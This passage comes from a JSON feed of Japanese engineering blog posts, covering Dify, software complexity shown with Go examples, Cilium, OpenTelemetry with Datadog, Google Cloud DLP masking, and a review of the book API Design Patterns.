ノーコード開発により、開発期間を大幅に短縮できます。まとめDifyは、生成AIの開発を劇的に簡素化するプラットフォームです。非エンジニアでも、高度なAIアプリケーションを開発できるため、生成AIの活用範囲が大きく広がることが期待されています。もし、生成AIに興味があり、独自のアプリケーションを開発したいと考えているのであれば、Difyは非常に魅力的な選択肢と言えるでしょう。さらに詳しく知りたい方へDify公式サイト: https://dify.ai/jpDifyの始め方(非エンジニアでも生成AIアプリが作れる最強ツール): https://zenn.dev/en2enzo2/articles/824877e1099508Difyは、生成AIの分野で注目を集めているプラットフォームです。ぜひ、この機会にDifyについて詳しく調べてみてください。何か他に知りたいことがあれば、お気軽にご質問ください。","link":"https://shu-kob.hateblo.jp/entry/2024/08/25/233704","isoDate":"2024-08-25T14:37:04.000Z","dateMiliSeconds":1724596624000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"この世の中に溢れているので自分が発言する必要はないが「ソフトウェアは認知の限界まで複雑になる」を自分なりに再考する","contentSnippet":"人間が何もしないと病気になるのと同じように、ソフトウェアも何もしないと複雑になる。はじめにソフトウェア開発の世界に飛び込んでから、「ソフトウェアは認知の限界まで複雑になる」という言葉を耳にしたとき、正直なところ、「ほへー」って思いながら何も理解していませんでした。しかし、大規模なシステムに携わるようになって、その言葉の重みを身をもって感じるようになりました。内部構造や相互作用が複雑化し、全体を把握するのが難しくなっていく。それは挑戦であると同時に、私たち開発者の存在意義を問いかけるものでもあります。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazonこの複雑性との闘いは、時に苦しいものです。でも、それを乗り越えたときの喜びは何物にも代えがたい。私たちの理解力の限界に挑戦し続けることで、成長の機会を得られるのかもしれません。また、絶対的な正解が存在しないことも認識することが重要です。それぞれの組織や開発チームにとっての最適解は異なるため、継続的に自分たちの状況を評価し、最適なアプローチを探り続ける必要があります。この過程では、チームメンバー間のオープンなコミュニケーションと実験的な姿勢が鍵となります。時には失敗することもありますが、そこから学びを得て前進することで、長期的には組織全体の能力向上につながるでしょう。 speakerdeck.comなお、この概念は広く知られており、多くの議論がなされています。しかし、自分なりに再考することには大きな意義があります。なぜなら、個人の経験や視点を通じて理解を深めることで、この普遍的な課題に対する新たな洞察や独自のアプローチを見出せる可能性があるからです。また、自分の言葉で表現し直すことで、チーム内での議論を促進し、共通理解を深める機会にもなります。さらに、技術の進化や開発手法の変化に伴い、この概念の意味や影響も変化しているかもしれません。そのため、現代のコンテキストにおいてこの概念を再評価することは、ソフトウェア開発の未来を考える上で重要なのです。正直なところ、このブログに書いていることは完全に自己満足かもしれません。しかし、この自己満足的な行為を通じて、私自身の理解を深め、そして少しでも他の人の考えるきっかけになれば、それはそれで価値があるのではないでしょうか。個人的には「Good Code, Bad Code ~持続可能な開発のためのソフトウェアエンジニア的思考」や「ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール」も良かったのです。資料としては「複雑さに立ち向かうためのコードリーディング入門」や「オブジェクト指向のその前に-凝集度と結合度/Coheision-Coupling」も合わせてオススメです。複雑性の源泉ソフトウェアの複雑性は様々な要因から生まれます。機能の増加:全ての機能は最初から分かってるわけでなくユーザーの要求に応えるため、次々と新機能が追加されていく。レガシーコードの蓄積:古いコードが新しいコードと共存し、相互作用する。技術的負債:短期的な解決策が長期的な複雑性を生み出す。外部依存関係:サードパーティライブラリやAPIの統合が複雑性を増す。スケーラビリティ要件:大規模なデータや高いトラフィックに対応するための設計が複雑さを増す。これらの要因が相互に作用し合い、ソフトウェアシステムは徐々に、そして時には急激に複雑化していきます。複雑性の影響過度の複雑性は、ソフトウェア開発プロセス全体に深刻な影響を及ぼします。開発速度の低下:新機能の実装や既存機能の修正に時間がかかるようになる。バグの増加:複雑なシステムほど、予期せぬ相互作用やエッジケースが発生しやすい。メンテナンス性の低下:コードベースの理解が困難になり、変更のリスクが高まる。オンボーディングの難化:新しいチームメンバーが全体を把握するまでの時間が長くなる。イノベーションの阻害:既存システムの制約が新しいアイデアの実現を妨げる。複雑性との共存完全に複雑性を排除することは不可能ですが、以下の戦略を通じて管理することは可能です。モジュール化:システムを独立した、理解しやすいコンポーネントに分割する。抽象化:詳細を隠蔽し、高レベルの概念を通じてシステムを理解・操作できるようにする。設計パターンの活用:一般的な問題に対する標準的な解決策を適用する。継続的なリファクタリング:定期的にコードを見直し、改善する。適切な文書化:システムの構造や意思決定の理由を明確に記録する。マイクロサービスアーキテクチャの採用は、大規模なモノリシックシステムの複雑性を管理するための一つのアプローチです。しかし、これは単に銀の弾丸ではなく複雑性の性質を変えるだけで、新たな形の複雑性(例えば、サービス間通信やデータ一貫性の管理)をもたらす可能性があります。そのため、アーキテクチャの選択は慎重に行い、トレードオフを十分に考慮する必要があります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazon複雑性と認知負荷ソフトウェアの複雑性は、開発者の認知負荷と密接に関連しています。人間の脳には情報処理能力の限界があり、この限界を超えると効率的な問題解決や創造的思考が困難になります。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon複雑なソフトウェアシステムは、以下の方法で開発者の認知負荷を増大させます。同時に考慮すべき要素の増加複雑な相互依存関係の理解抽象化レベルの頻繁な切り替え長期記憶と作業記憶の継続的な活用これらの要因により、開発者は「認知の限界」に達し、それ以上の複雑性を効果的に管理することが困難になります。以下は、複雑性が増大したコードの例です。// ComplexSystem は、システム全体の複雑性を体現する構造体です。// 複雑性の要因:多数の依存関係、状態管理、イベント処理、設定管理の組み合わせtype ComplexSystem struct { components map[string]Component // 動的に管理される多数のコンポーネント interactions map[string][]string // コンポーネント間の複雑な相互作用を表現 stateManager *StateManager // 全体の状態を管理する複雑なロジック eventBus *EventBus // 非同期イベント処理による複雑性 configProvider ConfigProvider // 動的な設定変更による複雑性 logger Logger // 複数の場所でのロギングによる情報の分散 cache *Cache // パフォーマンス最適化のための追加レイヤー metrics *MetricsCollector // システム監視のための追加の複雑性 errorHandler ErrorHandler // カスタムエラーハンドリングによる複雑性 scheduler *Scheduler // 非同期タスクスケジューリングによる複雑性}// ProcessEvent は、イベント処理の複雑性を示す関数です。// 複雑性の要因:多段階の処理、エラーハンドリング、状態更新、非同期処理の組み合わせfunc (cs *ComplexSystem) ProcessEvent(event Event) error { cs.metrics.IncrementEventCounter(event.Type) // メトリクス収集による複雑性 cs.logger.Log(\\"Processing event: \\" + event.Name) // キャッシュチェックによる条件分岐の増加 if cachedResult, found := cs.cache.Get(event.ID); found { cs.logger.Log(\\"Cache hit for event: \\" + event.ID) return cs.handleCachedResult(cachedResult) } // 複雑な依存関係の解決 affectedComponents := cs.resolveAffectedComponents(event) // ゴルーチンを使用した並行処理による複雑性の増加 resultChan := make(chan ComponentResult, len(affectedComponents)) for _, componentID := range affectedComponents { go cs.processComponentAsync(componentID, event, resultChan) } // 非同期処理結果の収集と統合 for i := 0; i < len(affectedComponents); i++ { result := <-resultChan if result.Error != nil { cs.errorHandler.HandleError(result.Error) return result.Error } cs.updateSystemState(result) } // 動的設定に基づく条件付き処理 config := cs.configProvider.GetConfig() if config.EnablePostProcessing { if err := cs.performPostProcessing(event); err != nil { cs.logger.Error(\\"Error in post-processing: \\" + err.Error()) return cs.errorHandler.WrapError(err, \\"PostProcessingFailed\\") } } // イベントバスを使用した非同期通知 cs.eventBus.Publish(NewStateChangedEvent(event.ID, cs.stateManager.GetCurrentState())) // 次のスケジュールされたタスクのトリガー cs.scheduler.TriggerNextTask() cs.logger.Log(\\"Event processed successfully\\") return nil}// processComponentAsync は、個別のコンポーネント処理を非同期で行う関数です。// 複雑性の要因:ゴルーチン内での処理、エラーハンドリング、状態更新の組み合わせfunc (cs *ComplexSystem) processComponentAsync(componentID string, event Event, resultChan chan<- ComponentResult) { component, exists := cs.components[componentID] if !exists { resultChan <- ComponentResult{Error: fmt.Errorf(\\"component not found: %s\\", componentID)} return } newState, err := component.HandleEvent(event) if err != nil { resultChan <- ComponentResult{Error: cs.errorHandler.WrapError(err, \\"ComponentProcessingFailed\\")} return } cs.stateManager.UpdateState(componentID, newState) resultChan <- ComponentResult{ID: componentID, State: newState}}// performPostProcessing は、イベント処理後の追加処理を行う関数です。// 複雑性の要因:条件分岐、エラーハンドリング、外部サービス呼び出しの組み合わせfunc (cs *ComplexSystem) performPostProcessing(event Event) error { // 複雑な条件分岐 switch event.Type { case \\"TypeA\\": // 外部サービス呼び出し if err := cs.externalServiceA.Process(event); err != nil { return cs.errorHandler.WrapError(err, \\"ExternalServiceAFailed\\") } case \\"TypeB\\": // データ変換と検証 transformedData, err := cs.dataTransformer.Transform(event.Data) if err != nil { return cs.errorHandler.WrapError(err, \\"DataTransformationFailed\\") } if !cs.dataValidator.Validate(transformedData) { return cs.errorHandler.NewError(\\"InvalidTransformedData\\") } // さらなる処理... default: // デフォルトの複雑な処理ロジック // ... } // メトリクス更新 cs.metrics.IncrementPostProcessingCounter(event.Type) return nil}このコードは、多層の依存関係、複雑な状態管理、非同期イベント処理、動的設定、並行処理、多重エラーハンドリング、クロスカッティングコンサーンなどを含む極度に複雑なシステムを表現しており、その全体を理解し効果的に管理するには開発者の認知能力を大きく超える負荷が必要となります。この複雑性に対処するため、システムを小さな独立したサービスに分割し、各コンポーネントの責務を明確に定義することで、全体の理解と管理を容易にすることができます。以下は、そのアプローチを示す簡略化したサンプルです。// EventProcessor は、イベント処理の主要なインターフェースを定義します。type EventProcessor interface { ProcessEvent(event Event) error}// SimpleEventProcessor は、EventProcessor の基本的な実装です。type SimpleEventProcessor struct { logger Logger repository Repository publisher EventPublisher}// NewSimpleEventProcessor は、SimpleEventProcessor の新しいインスタンスを作成します。func NewSimpleEventProcessor(logger Logger, repository Repository, publisher EventPublisher) *SimpleEventProcessor { return &SimpleEventProcessor{ logger: logger, repository: repository, publisher: publisher, }}// ProcessEvent は、単一のイベントを処理します。func (p *SimpleEventProcessor) ProcessEvent(event Event) error { p.logger.Info(\\"Processing event\\", \\"id\\", event.ID, \\"type\\", event.Type) if err := event.Validate(); err != nil { return fmt.Errorf(\\"invalid event: %w\\", err) } result, err := p.repository.Store(event) if err != nil { return fmt.Errorf(\\"failed to store event: %w\\", err) } if err := p.publisher.Publish(result); err != nil { p.logger.Error(\\"Failed to publish result\\", \\"error\\", err) } p.logger.Info(\\"Event processed successfully\\", \\"id\\", event.ID) return nil}このアプローチにより、システムの複雑性が大幅に低減され、各コンポーネントの役割が明確になり、開発者の認知負荷が軽減されます。結果として、(組織や人によっては)コードの理解、保守、拡張が容易になり、長期的なシステムの健全性が向上します。複雑性のパラドックス興味深いことに、ソフトウェアの複雑性には一種のパラドックスのような構造が存在します。それはシステムを単純化しようとする試みが、かえって複雑性を増大させることがあるのです。例えば:抽象化の過剰:過度に抽象化されたシステムは、具体的な実装の理解を困難にする。過度な一般化:あらゆるケースに対応しようとすることで、システムが不必要に複雑になる。新技術の導入:複雑性を減らすために導入された新技術が、学習コストや統合の複雑さを増す。以下は、過度な抽象化の例です:type AbstractFactory interface { CreateProduct() Product ConfigureProduct(Product) error ValidateProduct(Product) bool}type ConcreteFactory struct { config Config validator Validator decorator Decorator}func (f *ConcreteFactory) CreateProduct() Product { // Complex creation logic return nil}func (f *ConcreteFactory) ConfigureProduct(p Product) error { // Complex configuration logic return nil}func (f *ConcreteFactory) ValidateProduct(p Product) bool { // Complex validation logic return true}// Usagefunc UseFactory(factory AbstractFactory) { product := factory.CreateProduct() err := factory.ConfigureProduct(product) if err != nil { // Error handling } if !factory.ValidateProduct(product) { // Validation failed } // Use the product}このコードは柔軟性を目指していますが、実際の使用時には理解と実装が困難になる可能性があります。このような複雑性のパラドックスに対処するには、適度な抽象化と具体的な実装のバランスを取ることが重要です。以下は、シンプルさと柔軟性のバランスを取った改善例です。type Product struct { // Product fields}type ProductFactory struct { config Config}func NewProductFactory(config Config) *ProductFactory { return &ProductFactory{config: config}}func (f *ProductFactory) CreateProduct() (*Product, error) { product := &Product{} if err := f.configureProduct(product); err != nil { return nil, fmt.Errorf(\\"failed to configure product: %w\\", err) } if !f.validateProduct(product) { return nil, errors.New(\\"product validation failed\\") } return product, nil}func (f *ProductFactory) configureProduct(p *Product) error { // Configuration logic return nil}func (f *ProductFactory) validateProduct(p *Product) bool { // Validation logic return true}// Usagefunc UseFactory(factory *ProductFactory) { product, err := factory.CreateProduct() if err != nil { // Error handling return } // Use the product}この改善したコードは、単一責任の原則に基づいた ProductFactory の特化、一箇所でのエラーハンドリング、具体的な型の使用による理解のしやすさ、そして内部メソッドの非公開化によるカプセル化を特徴とし、これらの要素が複合的に作用することで、コードの複雑性を軽減しつつ必要な機能性を維持しています。このアプローチにより、コードの複雑性を減らしつつ、必要な柔軟性を維持することができます。適度な抽象化と具体的な実装のバランスを取ることで、(組織や人によっては)開発者の理解を促進し、長期的なメンテナンス性を向上させることができます。おわりにソフトウェアの複雑性は、諸刃の剣のようなものだと気づきました。それは私たちの能力を押し上げる原動力になる一方で、管理を怠れば混沌を招く危険性も秘めています。完全に複雑性を排除することは不可能かもしれません。しかし、それと向き合い、うまく付き合っていく術を見つけることは可能だと信じています。病気になってから健康に気を使い始めるのが辛いように、限界まで複雑化したソフトウェアをリファクタリングしていく作業も非常に困難です。そのため、早い段階から複雑性を管理する習慣を身につけることが重要です。ただし、この過程で過度に最適化やリファクタリングに固執すると、本来の目的を見失い、それ自体が目的化してしまう危険性があります。これは趣味が手段から目的にすり替わる現象に似ており、行き過ぎた最適化はまた別の問題を引き起こす可能性があります。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazonしたがって、ビジネス側の要求や理想を実現するために、様々な手法やアプローチを積極的に検証していく姿勢も必要です。技術的な観点だけでなく、ビジネスゴールを常に意識し、両者のバランスを取りながら最適な解決策を模索することが、持続可能なソフトウェア開発につながります。過度な最適化や複雑性の管理に陥ることなく、ビジネス価値の創出と技術的な健全性のバランスを保つことが重要です。日々の開発の中で、継続的な管理プロセスの重要性を実感しています。適切なトレードオフを見極め、チーム内での知識共有や学習を大切にすること。これらは複雑性と付き合っていく上で欠かせない要素です。さらに、ビジネス部門との緊密なコミュニケーションを通じて、技術的な制約や可能性について相互理解を深めることも重要です。ツールやプラクティスは確かに助けになりますが、それらだけでは根本的な解決にはなりません。結局のところ、私たち人間の認知能力と技術の限界との絶え間ない闘いが続くのです。この挑戦に立ち向かい、バランスを取りながら進化し続けること。そして、ビジネスとテクノロジーの両面から問題にアプローチする柔軟性を持つことが、ソフトウェア開発者としての真の成長につながるのではないでしょうか。知らんけど…ソフトウェアファースト第2版 あらゆるビジネスを一変させる最強戦略作者:及川 卓也日経BPAmazon近年の大規模言語モデル(LLM)の急速な発展により、ソフトウェアの複雑性管理に新たな要素がもたらされつつあり、LLMが人間の認知能力を超える可能性が現実味を帯びてきている中、これはソフトウェア開発者にとってチャンスと挑戦の両面を意味します。例えばLLMが複雑なコードベースを瞬時に解析して最適化の提案を行ったり、人間には把握しきれない複雑な相互作用を予測して潜在的な問題を事前に指摘したりする可能性があります。github.com一方で、LLMの判断をどのように検証し、人間の意図や倫理的考慮をどのように組み込んでいくか、またLLMと人間の協働をどのように設計し、それぞれの強みを最大限に活かすかといった新たな課題に対する明確な解答や確立された手法はまだ見つかっていません。このような状況下で、エンジニアとして、LLMの進化とその影響について継続的かつ慎重に情報収集を行い、批判的に分析する姿勢が不可欠です。単に新技術を受け入れるのではなく、その長所と短所を十分に理解し、既存のソフトウェア開発プラクティスとの整合性を慎重に評価する必要があります。 speakerdeck.com今後はLLMの能力を活用しつつ、人間ならではの創造性や突っ込めないコンテキスト、直感、倫理的判断を組み合わせた新しいソフトウェア開発のアプローチを模索し、技術の進歩に適応しながらも人間中心の開発哲学を失わないバランスを取ることが求められるのではないでしょうか?。運用者目線でどうなのか?みたいなことを喋る機会があるので喋っていきたい。event2024.cloudopsdays.comみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/25/142213","isoDate":"2024-08-25T05:22:13.000Z","dateMiliSeconds":1724563333000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"高度情報の午前Ⅱ試験を解くならこのサイト","contentSnippet":"もうすぐ9月。秋の情報処理技術者試験も近づいてますね。私はプロジェクトマネージャ試験を受けるので頑張らねば。応用情報午前試験の過去問アプリはたくさんあるのですが、高度情報はないですよね。IPA公式の過去問をPDFで開かずとも、スマホで気軽に過去問演習したいところ。そこで、高度情報の午前Ⅱ試験を解くならこのサイトをご紹介したいと思います。情報処理技術者試験の勉強(過去問題)をやり直し過去問を1問1答形式で時進められます。全ての高度情報に対応しています。こちらを活用して、午前Ⅱは余裕で通過できるようにしておきましょう1","link":"https://shu-kob.hateblo.jp/entry/2024/08/24/225803","isoDate":"2024-08-24T13:58:03.000Z","dateMiliSeconds":1724507883000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"3-shake SRE Tech Talk #10無事終了。英語は大事w","contentSnippet":"3-shake.connpass.comshu-kob.hateblo.jp初のオンサイト開催となる3-shake SRE Tech Talk #10無事終了しました。詳しいことは後日書くとして、私は誘導係をしました。会場となったGoogleさんの渋谷オフィスは渋谷ストリームという新しい建物にあるのですが、エントランスの長いエスカレータの下で誘導していたら外国人2組に道を聞かれました(笑)スリーシェイクTシャツ着て立っていたから、建物の係りの人と思われた?1人目の方には、スマホを見せられ、渋谷ストリーム内の串カツ屋の場所を聞かれました。飲食店マップがあったので、3Fか4Fにあるみたい、と拙い英語で説明w2組目の二人には、スマホを見せられ、半蔵門線渋谷駅の場所を聞かれました。エスカレータを指差し、「(エスカレータを)Down, Purple is Line Color.(半蔵門線のラインカラーは紫)」とまた拙い英語で説明したら、「ありがと!(Arigato)」とお礼を言われました。面白い経験をするとともに、Googleの音声翻訳など便利なものを使えばよかったと思いました。今後はもうちょっとまともな英語を答えられるよう頑張るぞ!","link":"https://shu-kob.hateblo.jp/entry/2024/08/23/231736","isoDate":"2024-08-23T14:17:36.000Z","dateMiliSeconds":1724422656000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium L2 Announcement を使ってみる","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.14で追加されたCilium L2 Announcementを検証しました。 Kubernetes External Load […]The post Cilium L2 Announcement を使ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-cilium-l2-announcement/","isoDate":"2024-08-23T01:10:11.000Z","dateMiliSeconds":1724375411000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10","contentSnippet":"shu-kob.hateblo.jp以前も書きましたが、2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10 です。初のオンサイト開催!(オンラインも併用)18:30からGoogle Cloudさんの渋谷オフィスで行います。無料の懇親会もあります。オンサイトは定員40人のところ、前日の8月22日21:36現在、37人と、3人の空きがあります。タイムテーブルはこちら株式会社Topotal 菱田 健太氏「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」株式会社スリーシェイク 阿部貴晶「LLMのO11yに触れる」グーグルクラウドジャパン合同会社 中谷 祐輔氏「スポンサーセッション」弊社スリーシェイクからは「LLMのO11yに触れる」というテーマで、生成AIのオブザーバビリティの話があります。私も会場誘導係として、参加予定です。生成AIに興味ある方もぜひご参加ください。","link":"https://shu-kob.hateblo.jp/entry/2024/08/22/214001","isoDate":"2024-08-22T12:40:01.000Z","dateMiliSeconds":1724330401000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OpenTelemetry - Community Demo を Datadog で試す","contentSnippet":"はじめにOpenTelemetry には Community Demo が用意されている。demo ではKubernetesと Dockerでのお試し方法が記載されている。今回は、minikube を使用し、Kubernetes 上で試したいと思ったのだが、demoでは OpenTelemetry の Exporter のバックエンドとして、Jaeger, Prometheus(Grafana) が使用されているが、その他のバックエンドは自分で構築してね〜となっているhttps://opentelemetry.io/docs/demo/kubernetes-deploymen...","link":"https://zenn.dev/yokoo_an209/articles/otel-datadog-demo","isoDate":"2024-08-22T04:46:25.000Z","dateMiliSeconds":1724301985000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Google Cloud DLP(Data Loss Prevention)を使ってデータのマスキングしてみた","contentSnippet":"DLP(Data Loss Prevention)とは?DLP(Data Loss Prevention)は、直訳で「データ損失防止」を意味し、企業や組織が保有する機密データや個人情報などの漏えいを防止するための仕組み、またはそのプロセス全体を指します。DLPの目的は、以下の通りです。機密データの特定: 個人情報、クレジットカード番号、社会保障番号など、企業にとって重要なデータを特定します。データの分類: 特定されたデータを、機密レベルや種類などに応じて分類します。データの保護: 分類されたデータに対して、アクセス制限、暗号化、匿名化などの適切な保護策を施します。データ漏えいの検出: データ漏えいが発生した場合、早期に検出し、その原因を特定します。Google CloudでDLPを使用してみたGoogle Cloud Storage上にある個人情報を含むテスト用テキストデータを用意し、下記記事の通り、コンソール上だけで個人情報のマスキングができました!便利!ops.jig-saw.comGeminiだけだとプロンプトを工夫してもマスキングはしてくれなかったので、DLPと併用しましょう。なお、要約文中に個人情報を入れるな、というプロンプトは言うことを聞いてくれました。","link":"https://shu-kob.hateblo.jp/entry/2024/08/21/230415","isoDate":"2024-08-21T14:04:15.000Z","dateMiliSeconds":1724249055000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"生成AIの出力形式を指定する","contentSnippet":"生成AIでの出力をプログラムで次の処理に使いたいときありますよね。そういうときは、正規化が必要だったりします。例えば、プロンプトでJSON形式で出力するように指定して、見本の形式も添えておけば、JSON形式で出力され、次の処理でとても使いやすくなります。","link":"https://shu-kob.hateblo.jp/entry/2024/08/20/235853","isoDate":"2024-08-20T14:58:53.000Z","dateMiliSeconds":1724165933000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"すぐに役に立つものはすぐに陳腐化してしまうから方法ではなく設計の本を読む - API Design Patterns の読書感想文","contentSnippet":"あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえはじめに短期的に効果的な手法や知識は、ソフトウェア開発の分野において、急速に価値を失う傾向があります。この現象は、私たちが何を重点的に学ぶべきかを示唆しています。最も重要なのは、第一に基本的な原理・原則、そして第二に方法論です。特定の状況にのみ適用可能な知識や即座に結果を出すテクニックは、長期的には有用性を失う可能性が高いです。これは、技術や手法が時間とともに進化し、変化していくためです。learning.oreilly.com「API Design Patterns」は、このような考え方を体現した書籍です。しかも480 ページもあります。本書は単なる手法の列挙ではなく、Web APIデザインの根幹をなす原則と哲学を探求しています。著者のJJ Geewax氏は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義し、その本質的な役割を明確に示しています。API Design Patterns (English Edition)作者:Geewax, JJManningAmazonSREの分野においても、netmarkjpさんの「現場がさき、 プラクティスがあと、 原則はだいじに」という卓越した発表資料があります。この資料はこのように原則を大事にしながら現場をやっていくにはどうすればいいかの指針を示してくれています。この書籍との邂逅を通じて、私の視座は大きく拡がりました。日々直面するAPI設計、実装、維持の課題に対し、より深遠な洞察と長期的な展望を得られたと実感しています。特に印象的だったのは、著者によるAPIの定義です。「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」というこの洞察は、APIの本質的役割を鮮明に照らし出し、私のAPI設計への理解を劇的に深化させました。「はじめに」にあるべき全体像「API Design Patterns」は、APIの基本概念と重要性から始まり、設計原則、基本的な操作と機能、リソース間の関係性の表現方法、複数リソースの一括操作、そして安全性とセキュリティに至るまで、APIデザインの全体像を包括的に扱っており、各パートでは、APIの定義と特性、設計原則(命名規則、リソースの階層など)、基本的な操作(標準メソッド、カスタムメソッドなど)、リソース間の関係性(シングルトンサブリソース、ポリモーフィズムなど)、集合的操作(バッチ処理、ページネーションなど)、そして安全性とセキュリティ(バージョニング、認証など)について詳細に解説し、これらの要素を適切に組み合わせることで、使いやすく、柔軟で、安全なAPIを設計するための総合的な指針を提供しています。よりよいAPIを設計するためのアイデア本書を読み進める中で、「アイデアのつくり方」で説明されているアイデア創出の根幹をなす2つの原理が、私たちのAPI設計にも適用できるのではないかと考えました。これらの原理とは以下の通りです。アイデアとは既存の要素の新たな組み合わせである既存の要素を新しい組み合わせへと導く才能は、事物間の関連性を見出す能力に大きく依存するアイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon今後のAPI設計において、これらの原理を意識的に取り入れ、実践していくことで、より革新的で使いやすいAPIを生み出せる可能性があります。日本語版日本語版の出版は、多くの日本人エンジニアにとって、感謝でしかありません。英語特有のニュアンスの把握に苦心する部分も、母国語で読み解くことでより深い理解が得られ、本書の真髄をより効果的に吸収できたと実感しています。APIデザイン・パターン (Compass Booksシリーズ)作者:JJ Geewaxマイナビ出版Amazonむすびこの書との出会いを通じて、私はAPIデザインの本質を体得し、時代を超えて価値を持ち続ける設計スキルを磨くことができたと確信しています。技術の潮流に左右されない、根本的な設計原則を身につけることで、エンジニアとしての自己成長と、より卓越したシステム設計の実現への道が開かれたと感じています。本ブログでは、この読後感に加えて、私が特に注目した点や、本書の概念をGo言語で具現化した実装例なども記しています。これらの追加コンテンツが、本書の理解をより深め、実践への架け橋となることを願っています。「API Design Patterns」との邂逅は、私のエンジニアとしてのキャリアに新たな地平を開いてくれました。本書から得た知見と洞察を、今後の業務に存分に活かし、さらなる高みを目指す所存です。APIの世界への深い理解を得るには、その前史を知ることも重要です。その観点から、「Real World HTTP 第3版―歴史とコードに学ぶインターネットとウェブ技術」も併せてお薦めします。この書は、APIの基盤となるHTTPの歴史と技術を深く掘り下げており、APIデザインの文脈をより広い視野で捉えるのに役立ちます。www.oreilly.co.jp執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。それを指摘して悦に浸ってるの最高です。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。目次Xで時折紹介する本の中には、わずか1行で要点を伝えられるものもある。しかし、その本の私においての価値は必ずしもその長さで測れるものではない。紹介が短い本が劣っているわけでもなければ、長い本が常に優れているわけでもない。重要なのは、その本が読者にどれだけの影響を与え、どれほどの思考を喚起するかだ。はじめに「はじめに」にあるべき全体像よりよいAPIを設計するためのアイデア日本語版むすび執筆プロセスと建設的な対話のお願い目次Part 1 Introduction1 Introduction to APIsWeb APIの特性と重要性API設計アプローチの比較「良い」APIの特性運用可能性とSREの視点表現力と使いやすさシンプル性と柔軟性のバランス予測可能性とコード一貫性著者の主張に対する補完的視点総括と実践への応用継続的改善と進化の重要性結論2 Introduction to API design patternsAPI設計パターンの定義と重要性API設計パターンの構造実践的な適用:Twapiの事例研究メッセージのリスト化データのエクスポートAPI設計パターンの適用:早期採用の重要性結論Part 2 Design principles3 Naming命名の重要性良い名前の特性言語、文法、構文の選択コンテキストと命名データ型と単位結論4 Resource scope and hierarchyリソースレイアウトの重要性リソース間の関係性エンティティ関係図の活用適切な関係性の選択アンチパターンの回避実践的な応用と考察結論5 Data types and defaultsデータ型の重要性と課題プリミティブデータ型の扱いコレクションと構造体実践的な応用と考察結論Part 3 Fundamentals6 Resource identification識別子の重要性と特性実装の詳細識別子の階層と一意性のスコープUUIDとの比較実践的な応用と考察結論7 Standard methods標準メソッドの重要性と概要実装の詳細とベストプラクティス標準メソッドの適用と課題実践的な応用と考察結論8 Partial updates and retrievals部分的な更新と取得の動機フィールドマスクの実装部分的な更新と取得の課題実践的な応用と考察フィールドマスクの高度な使用法部分的な更新と取得の影響結論9 Custom methodsカスタムメソッドの必要性と動機カスタムメソッドの実装副作用の取り扱いリソースvs.コレクションステートレスカスタムメソッド実践的な応用と考察結論10 Long-running operations長時間実行操作の必要性と概要LROの実装LROの状態管理と結果の取得LROの制御と管理実践的な応用と考察結論11 Rerunnable jobs再実行可能なジョブの必要性と概要ジョブリソースの実装ジョブの実行とLRO実行リソースの導入実践的な応用と考察結論Part 4 Resource relationships12 Singleton sub-resourcesシングルトンサブリソースの必要性と概要シングルトンサブリソースの実装シングルトンサブリソースの利点と課題実践的な応用と考察結論13 Cross referencesリソース間参照の必要性と概要リソース間参照の実装リソース間参照の利点と課題実践的な応用と考察結論14 Association resources関連リソースの必要性と概要関連リソースの実装関連リソースの利点と課題実践的な応用と考察結論15 Add and remove custom methods動機と概要実装の詳細利点と課題実践的な応用と考察結論16 Polymorphismポリモーフィズムの必要性と概要ポリモーフィックリソースの実装ポリモーフィズムの利点と課題実践的な応用と考察ポリモーフィックメソッドの回避結論Part 5 Collective operations17 Copy and moveコピーと移動操作の必要性と概要実装の詳細と課題実践的な応用と考察結論18 Batch operationsバッチ操作の必要性と概要バッチ操作の設計原則実装の詳細バッチ操作の影響とトレードオフ実践的な応用と考察結論19 Criteria-based deletion条件に基づく削除の必要性と概要purge操作の設計と実装purge操作の影響とトレードオフ実践的な応用と考察結論20 Anonymous writes匿名データの必要性と概要write メソッドの実装一貫性と運用上の考慮事項実践的な応用と考察結論21 